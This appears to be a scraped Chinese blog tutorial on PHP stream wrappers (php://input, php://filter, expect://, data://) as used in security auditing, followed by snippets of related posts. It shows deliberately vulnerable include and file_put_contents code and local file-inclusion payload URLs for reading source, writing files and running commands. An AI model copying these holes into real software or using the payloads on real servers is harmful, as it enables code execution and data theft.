php審計基礎三 php封裝協議小總結

2021-07-22 22:42:00 字數 3418 閱讀 1324

php://stdin

主要用於php cli 的輸入

應用:

while($line = fopen('php://stdin','r'))

主要用於php cli的輸出

應用:

<?php 

$fh = fopen('php://stdout', 'w');

fwrite($fh, "標準輸出php://stdout\n");

fclose($fh);

fwrite(stdout, "標準輸出stdout\n");

可以讀取到post沒有解析的原始資料

php**

<?php 

echo file_get_contents($_get["a"]);

?>

瀏覽器訪問:

但是當php**這樣寫的時候:

<?php 

$code = $_get['a'];

include($code);

?>

而且當php遠端包含開啟的時候(當allow_url_include=on),就可以造成任意**執行

是乙個只寫資料流,允許你以print和echo一樣的方式寫入到輸出緩衝區。

當**是:

<?php 

$code=$_get["a"];

file_put_contents($code,"test");

?>

當訪問引數是php://output時,則在此頁面輸出test

是一種元封裝器,設計用於資料流開啟時的篩選過濾應用

當php**是:

<?php 

$filename=$_get["a"];

$data="test test";

file_put_contents($filename, $data);

?>

通過http://localhost:8000/phpinput.php?a=php://filter/write=string.tolower/resource=test.php

可以往伺服器中寫入乙個檔案內容全為小寫且檔名為test.php的檔案:

其中 :

(1)string.tolower //寫入內容全部變成小寫

(2)string.toupper //寫入內容全部變成大寫

(3)string.rot13 //寫入內容全部對字串執行 rot13 編碼

通過:http://localhost:8000/phpinput.php?a=php://filter/convert.base64-encode/resource=test.php

可以往伺服器中寫入乙個檔案內容為base64編碼且檔名為test.php的檔案:

當**為:

<?php 

$filename=$_get["a"];

echo file_get_contents($filename);

?>

當通過訪問:http://localhost:8000/phpinput.php?a=php://filter/convert.base64-encode/resource=test.php

就可以把test.php的內容以base64編碼的方式顯示出來

當**為:

<?php 

$filename=$_get["a"];

$data="test test";

include("$filename");

?>

當通過訪問:http://localhost:8000/phpinput.php?a=php://filter/convert.base64-encode/resource=test.php

同樣可以把test.php的內容以base64編碼的方式顯示出來

這裡注意:雙引號包含的變數$filename,可以當成正常變數執行,而單引號包裹的變數則會當成字串例如:

可以用這個協議執行任意linux的指令

如果缺陷**是:

<?php 

$code = $_get['hax'];

include($code);

?>

那麼可以用http://localhost/test.php?hax=expect://command 來執行任意linux指令

但是:note:該封裝協議預設未開啟

為了使用 expect:// 封裝器,你必須安裝» pecl 上的 » expect擴充套件。

我安裝這個拓展屢屢失敗,看來不是特殊需求是不會有這樣的漏洞的,這裡只提個思路

如果看效果可以去看看這個部落格的文章:

data://

資料流封裝器

當allow_url_include 開啟的時候,任意檔案包含就會成為任意命令執行

缺陷php的**是:

PHP審計基礎

php核心配置 register globals 全域性變數註冊開關 設定為on時,把get post的變數註冊成全域性變數 php 5.4.0中移除 allow url include 包含遠端檔案 設定為on時,可包含遠端檔案 php 5.2後預設為off allow url fopen 開啟遠...

php審計基礎四 變數覆蓋

1 extract 函式 extract 函式從陣列中將變數匯入到當前的符號表。該函式使用陣列鍵名作為變數名,使用陣列鍵值作為變數值。針對陣列中的每個元素,將在當前符號表中建立對應的乙個變數。當 是 b 3 a array b 1 extract a print r b b的值被覆蓋,輸出的值變成1...

php支援的協議和封裝協議

note 用於描述乙個封裝協議的 url 語法僅支援 scheme 的語法。scheme 和 scheme 語法是不支援的。table of contents file 訪問本地檔案系統 http 訪問 http s ftp 訪問 ftp s urls php 訪問各個輸入 輸出流 i o stre...